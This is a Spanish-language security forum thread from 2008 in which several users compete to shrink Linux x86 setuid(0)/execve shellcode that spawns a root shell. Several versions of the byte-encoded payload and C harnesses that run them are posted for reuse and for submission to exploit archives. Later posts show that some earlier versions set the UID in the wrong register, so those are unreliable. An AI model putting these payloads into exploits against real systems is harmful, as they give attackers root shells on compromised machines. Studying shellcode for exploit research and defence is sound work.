Smallest GNU/Linux x86 setuid/execve shellcode without NULLs

Todo lo que tengas que decir sobre Gnu/Linux y SSOO alternativos.

Moderador: Moderadores

Smallest GNU/Linux x86 setuid/execve shellcode without NULLs

Notapor vlan7 » Mié Nov 19, 2008 6:42 pm

Hola.

Queria compartir con vosotros mi ultima shellcode, que a dia de hoy, al menos publicamente es la mas pequeña del mundo (26 bytes).

Esta -fuertemente- basada en una shellcode que hizo Chema Garcia de Opensec. Me parecio muy buena y quise reducirla aun mas, y 1 byte la consegui reducir.

Tengo una idea en mente con la cual quizas podria reducirla 3 bytes mas, pero es solo una intuicion de que vaya a funcionar.

Ahi va:

Código: Seleccionar todo
/*
Smallest GNU/Linux x86 setuid/execve shellcode without NULLs
(based on Chema Garcia, aka sch3m4's code from opensec)
(shrinked down only for the fun of gettin' the most minimalistic shellcode possible)

vlan7 - 19/11/2008
http://vlan7.blogspot.com

Shellcode size: 26 bytes
*/

#include <stdio.h>

char sc[] =
  "\x31\xc0" //xor eax,eax
  "\x99" //cdq
  "\xb0\x17" //mov al,17h
  "\x60" //pusha
  "\xcd\x80" //int 80h
  "\x61" //popa
  "\x52" //push edx
  "\x68\x6e\x2f\x73\x68" //push 0x68732f6e
  "\x68\x2f\x2f\x62\x69" //push 0x69622f2f
  "\x89\xe3" //mov ebx,esp
  "\xb0\x0b" //mov al,0bh
  "\xcd\x80"; //int 80h

void main() {
  printf("Smallest GNU/Linux x86 setuid/execve shellcode without NULLs"
  "\n(based on Chema Garcia, aka sch3m4's code from opensec)"
  "(only for the fun of gettin' the most minimalistic shellcode possible)"
  "\n\nvlan7 - 19/11/2008"
  "\nhttp://vlan7.blogspot.com"
  "\n\nShellcode size: %d bytes\n", sizeof(sc)-1);
  (*(void (*)()) sc)();
}


Suerte.
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Notapor NeTTinG » Mié Nov 19, 2008 9:39 pm

Hola:

Gracias por compartirlo, vlan7 ;)

Un saludo.
| Blog NeTTinG | Proyecto Destripando iOS |
_____________________________
Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas. (Albert Einstein)
Todos recaerán en la necesidad de conocer la única y presumible verdad que el gran embudo emana. (Sire Netting)
Avatar de Usuario
NeTTinG
Wadalbertita
Wadalbertita
 
Mensajes: 6270
Registrado: Mar Sep 20, 2005 5:54 pm
Ubicación: Bajo la trampilla del décimo primer piso.

Notapor NewLog » Jue Nov 20, 2008 3:19 am

Buenas,

Primero de todo, gracias por compartir semejante material ^^

Tengo un par de preguntas:

La gracia de hacer un setuid(0) y después el execve es que en teoria esta shellcode te retorna un terminal con privilegios de root, no? Sin embargo, para que te la devuelva con privilegios de root, la aplicación que has de explotar se ha de estar ejecutando con dichos privilegios, no? De ser así, si no hicieras el setuid(0), acaso al explotar una vulnerabilidad con privilegios de root no te devolvería un terminal con privilegios de root al hacer el execve directamente?

Mi otra pregunta es qué hacen el pusha y popa? He entendido todo el código menos eso!


Muchas gracias!
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Notapor TuXeD » Jue Nov 20, 2008 9:37 am

Hola,

Lo de los privilegios de root, depende de sí el programa vulnerable hace un 'drop' de privilegios al principio. Digamos que puedes tener privilegios de root, hacer lo que necesites cone sos privilegios, y luego hacer un setuid(uid_real_del_usuario) para el resto de cosas.

Más tarde podrías volver a ser root haciendo setuid(0), que es lo que hace la shellcode.

Por otra parte, pusha/popa son como push y pop, pero con TODOS los registros. Es decir guardan el estado de la cpu (de los registros de uso general solo si no recuerdo mal) en la pila y los sacan luego. También tienes pushf y popf para los flags. Justo ayer los vi yo en un ejemplo del libro The IDA Pro Book (por cierto bastante recomendable para aprender reversing e IDA).

Saludos
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Notapor NewLog » Jue Nov 20, 2008 9:57 am

Mmmm más o menos lo he entendido.

Lo que me ha quedado claro es lo del pusha y popa.

Gracias!
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Notapor vlan7 » Jue Nov 20, 2008 3:03 pm

Sobre lo del setuid, a veces cuando explotas un programa recibes un uid EFECTIVO igual a 0. Cuando lo que quieres, si quieres ser root, es un UID=0, por lo que si no haces un setuid a 0, podrias ser root o no, depende de como este diseñado el programa, en cambio si haces un setuid a 0 te aseguras de conseguir una shell (o lo que ejecutes en el execve) con privilegios de root.

Algunos autores usan en sus shellcodes setruid, que fija ademas del UID el EUID, pero yo lo veo un gasto innecesario (gastas mas bytes).

Evidentemente, si lanzas la shellcode tal cual con el programa en C que puse, obtendras una shell con privilegios del user que la lance (a no ser que actives el bit suid al programa).

Puedes hacer la prueba compilando el programa y lanzandolo como user normal, y veras con id que eres el mismo user. Luego sales de esa shell, y con el root le pones el bit SUID con chmod +s al ejecutable. Vuelve a lanzar el programa como user normal (con un sudo...) y veras como la shell que obtienes es de root.

Por cierto, una shellcode no puede ser ejecutada por si misma. Me explico, borra los printf del codigo en C y veras un bonito "Segmentation fault".

Sobre los pushd y popd es para ahorrar bytes en la parte del execve. Si solo quieres hacer un setuid a 0, sobran.

De todas formas si solo vas a hacer un setuid a 0, ocupa menos bytes esta shellcode:

Código: Seleccionar todo
char sc[] =
"\x31\xdb" //xor ebx, ebx
"\x8d\x43\x17" //LEA eax, 0x17(ebx)
"\xcd\x80"; // int 80h


Espero haberlo aclarado un poco...

Suerte
Última edición por vlan7 el Jue Nov 20, 2008 4:15 pm, editado 1 vez en total
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Notapor NewLog » Jue Nov 20, 2008 3:52 pm

Gracias vlan7

Ahora ya me ha quedado claro del todo el porqué de hacer un setuid(0) antes del execve!
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Notapor vlan7 » Lun Nov 24, 2008 9:24 pm

Hola,

Tras intercambios de comentarios con sch3m4 de opensec.es y con gente de milw0rm, en estos dias hemos ido mejorando la shellcode. Lo que uno mejoraba, el otro volvia a mejorarlo.

La verdad es que sin todo este intercambio de ideas, no podria haberla reducido a 24 bytes.

Esta vez mis pruebas han sido mas exhaustivas, y me gustaria que me dierais cierto feedback sobre la shellcode, sobre si alguien encuentra algun error o algo, para asi poder proceder a compartirla en sitios como milw0rm o packet storm.

La mas pequeña hasta la fecha. 24 bytes. Ahi va el codigo:

Código: Seleccionar todo
/*
SMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE WITHOUT NULLS THAT SPAWNS A SHELL

History:
+ v1.0 (27 bytes) => http://opensec.es/2008/11/14/gnulinux-x86-setuid0-execvebinsh00-shellcode-without-null/
+ v2.0 (26 bytes) => (http://vlan7.blogspot.com/) http://packetstormsecurity.org/filedesc/smallest_setuid_execve_sc.c.html
+ v3.0 (25 bytes) => (http://opensec.es/) http://www.milw0rm.com/shellcode/7187

v4.0 (24 bytes)
################
*/

#include <stdio.h>

const char sc[]=
  "\x6a\x17" //push 17h /note this will fill the remain stack portion bytes with 0s
  "\x58" //pop eax /eax = 0x00000017
  "\x99" //cdq /eax<0x80000000 => edx=0
  "\xcd\x80" //int 80h
  "\x52" //push edx (0)
  "\x68\x6e\x2f\x73\x68" //push 0x68732f6e
  "\x68\x2f\x2f\x62\x69" //push 0x69622f2f
  "\x8d\x42\x0b" //lea eax,[edx+0bh] /LEA is FASTER than push/pop
  "\x89\xe3" //mov ebx,esp
  "\xcd\x80"; //int 80h

void main() {
  printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE WITHOUT NULLS THAT SPAWNS A SHELL"
  "\n\nCoded by vlan7"
  "\n\t + http://vlan7.blogspot.com"
  "\n\n[+] Date: 24/11/2008"
  "\n\n[+] Thanks to: -Chema Garcia (aka sch3m4) (http://opensec.es) He has initiated the funny game :)"
  "\n               -TuXeD from Wadalbertia (http://www.wadalbertia.org) for a comment on my CDQ"
  "\n\n[+] Shellcode Size: %d bytes\n\n",sizeof(sc)-1);
  (*(void (*)()) sc)();
}


Keep the good work folks,

vlan7
Última edición por vlan7 el Lun Nov 24, 2008 11:04 pm, editado 3 veces en total
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Notapor TuXeD » Lun Nov 24, 2008 10:01 pm

Hola,

Interesante :)

No estoy en un equipo con GNU/Linux ahora mismo, así que no puedo probarlo... Viendo el código, no acabo de entender por qué pones que 0x51 es push ecx o push edx... Cual de los dos es realmente?

Si es ecx, no entiendo muy bien por qué es cero... puesto que solo se ha forzado a ser cero edx al hacer el cdq, no?

Enhorabuena por el resultado :) A simple vista, y salvo el tema del ecx/edx, no veo ninguna razón para que no funcionase...

Un saludo.
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Notapor vlan7 » Lun Nov 24, 2008 11:03 pm

Tuxed,

El problema es que hacia algun tiempo que no tocaba ASM, y un hilo sobre shellcodes en insecure.org me hizo recordar mal el CDQ.

Tienes razon, EDX es el unico registro que CDQ pone a 0 segun EAX.

Corregido. Y te he añadido a los creditos, que aqui todo cuenta; porque da gusto este foro, da gusto con gente asi.

Be safe.
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Notapor sch3m4 » Mar Nov 25, 2008 12:08 am

Bueno, acabo de registrarme y así podemos tratar mejor este tema aquí, así que lo primero, saludaros a todos =)

vlan7, espero que no te enfades conmigo por chafarte la historia otra vez, pero siento decirte, que la última modificación de la shellcode no funcionaría en una explotación real :/

Fíjate en el setuid(0):

Código: Seleccionar todo
push byte 17h
pop eax
cdq
int 80h


¿Todo bien? No.... Vamos por partes:

1) Metes en eax 0x00000017 ("push byte 17h" "pop eax")
2) Limpias edx - edx = 0x00000000 ("cdq")
3) Llamas a la syscall ("int 80h")

¿No se te olvida algo?

Para usar la syscall 17h (setuid) necesitas:

1) eax = 0x00000017h (correcto)
2) ecx = UID (incorrecto)

Estás confiando en que ecx = 0, lo cual es cierto si compilamos nuestra shellcode y la ejecutamos, pero si la metemos en un entorno en el que ecx != 0, no funciona, no se puede asegurar ese caso.

Hay que desconfiar del contenido todos los registros que necesites usar. Por ejemplo, si la shellcode fuese válida, al compilarla con la siguiente modificación, debería funcionar:

Código: Seleccionar todo
mov ecx,-1 <---- ECX = 0xFFFFFFFF

push byte 17h
pop eax
cdq
int 80h
push edx
push 0x68732f6e
push 0x69622f2f
lea eax,[edx+0bh]
mov ebx,esp
int 80h


Para comprobarlo, compilamos y hacemos:

# chown root:root shellcode
# chmod u+s shellcode
$ ./shellcode


Eso debería darnos una consola con privilegios de root, pero por el contrario, nos lanza una violación de segmento.

Tal como está ahora mismo, lanza una consola, pero no hace el setuid(0) :/

Sinceramente, dudo que se pueda reducir a 24 bytes. He estado retocándola y haciendola desde cero, y lo único que he conseguido ha sido llegar al mismo sitio, por diferentes caminos.
sch3m4
:-)
:-)
 
Mensajes: 10
Registrado: Lun Nov 24, 2008 11:45 pm

Notapor Nork » Mar Nov 25, 2008 12:18 am

Wow gracias por compartir este "pequeño" código :p Según parece la más pequeña es de 22 bytes o al menos eso dice wikipedia
La televisión me ha culturizado porque cada vez que la encienden en casa me voy a leer a mi cuarto.
Avatar de Usuario
Nork
<|:-)
<|:-)
 
Mensajes: 476
Registrado: Dom Feb 11, 2007 1:00 am
Ubicación: 2348,8574,7

Notapor TuXeD » Mar Nov 25, 2008 12:23 am

Hola,

Bienvenido sch3m4 ;) He conocido tu web/blog via vlan7 aquí y me ha parecido interesante. Ya me tienes suscrito al RSS.

Toda la razón, yo no me había fijado en el setuid la verdad :oops:
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Notapor sch3m4 » Mar Nov 25, 2008 12:31 am

Gracias TuXeD ;)

@Nork Supongo que lo de los 22 bytes se referirá a la más pequeña que haga algo útil, porque la setuid & execve que ponen pesa 29 bytes :/
sch3m4
:-)
:-)
 
Mensajes: 10
Registrado: Lun Nov 24, 2008 11:45 pm

Notapor vlan7 » Mar Nov 25, 2008 4:42 am

sch3m4, ejem, siento decirte que deberiamos leernos la documentacion. :badgrin:

Y va por los 2. Ninguno de nosotros ha hecho una shellcode setuid(0) valida.

EL UID VA EN EBX, NO EN ECX

El segmentation fault producido por el ECX tiene que estar relacionado con la pila y las interrupciones. Asi que ya estamos tu y yo escribiendo a quien ya sabemos para que retire nuestras shellcodes ;)

Yo propongo esta:

Código: Seleccionar todo
#include <stdio.h>

const char sc[]=
  "\x31\xc9" //xor ecx,ecx = 0 /Prevents from segmentation fault
  "\x31\xdb" //xor ebx,ebx = 0 = UID
  "\x8d\x41\x17" //lea eax,[ecx+17h] /LEA is FASTER than push/pop
  "\x99" //cdq /Prevents from seg fault coz EDX previous content
  "\xcd\x80" //int 80h
  "\x53" //push ebx (0)
  "\x68\x6e\x2f\x73\x68" //push 0x68732f6e
  "\x68\x2f\x2f\x62\x69" //push 0x69622f2f
  "\x8d\x41\x0b" //lea eax,[ecx+0bh]
  "\x89\xe3" //mov ebx,esp
  "\xcd\x80"; //int 80h

void main() {
  printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE WITHOUT NULLS THAT SPAWNS A SHELL"
  "\n\nCoded by vlan7"
  "\n\t + http://vlan7.blogspot.com"
  "\n\n[+] Date: 25/11/2008"
  "\n\n[+] Thanks to: -Chema Garcia (aka sch3m4) (http://opensec.es) He has initiated the funny game :)"
  "\n               -TuXeD from Wadalbertia (http://www.wadalbertia.org) for a comment on my CDQ"
  "\n\n[+] Shellcode Size: %d bytes\n\n",sizeof(sc)-1);
  (*(void (*)()) sc)();
}


Y como me saques una pega mas te matooooooooooooooo ahhhhhhhhhhhhhhh :badgrin: que no me dejas dormir tio!!! A mi no se me pueden dar problemas para resolver :(

Si no me crees, lee documentacion oficial. Esta es una shellcode setuid(0) bien hecha: http://shellcode.org/Shellcode/linux/setuid/

O puedes aplicarte tu misma prueba. Haz que EBX != 0 en tus shellcodes. Pon por ejemplo esto al principio de todo \x68\xff\xff\xff\xff\x59\x6a (es un push/pop, no tengo un nasm a mano ahora, y esos opcodes los tengo en la cabeza, pero un mov a ecx no) y haz la prueba que me das. Deberias obtener una shell de root. En cambio obtienes una shell de usuario, asi que siento decirte que tu shellcode no es valida siguiendo tu acertada afirmacion de que no podemos presuponer nada del contenido previo de los registros.

Hemos subido un huevo de bytes sch3m4 jajaja y mira a que horas te escribo!! Hay alguien que nos va a matar tio.

P.D. He probado la mia con tu test y funciona. ;)
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Siguiente

Volver a Gnu/Linux y SSOO alternativos

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 0 invitados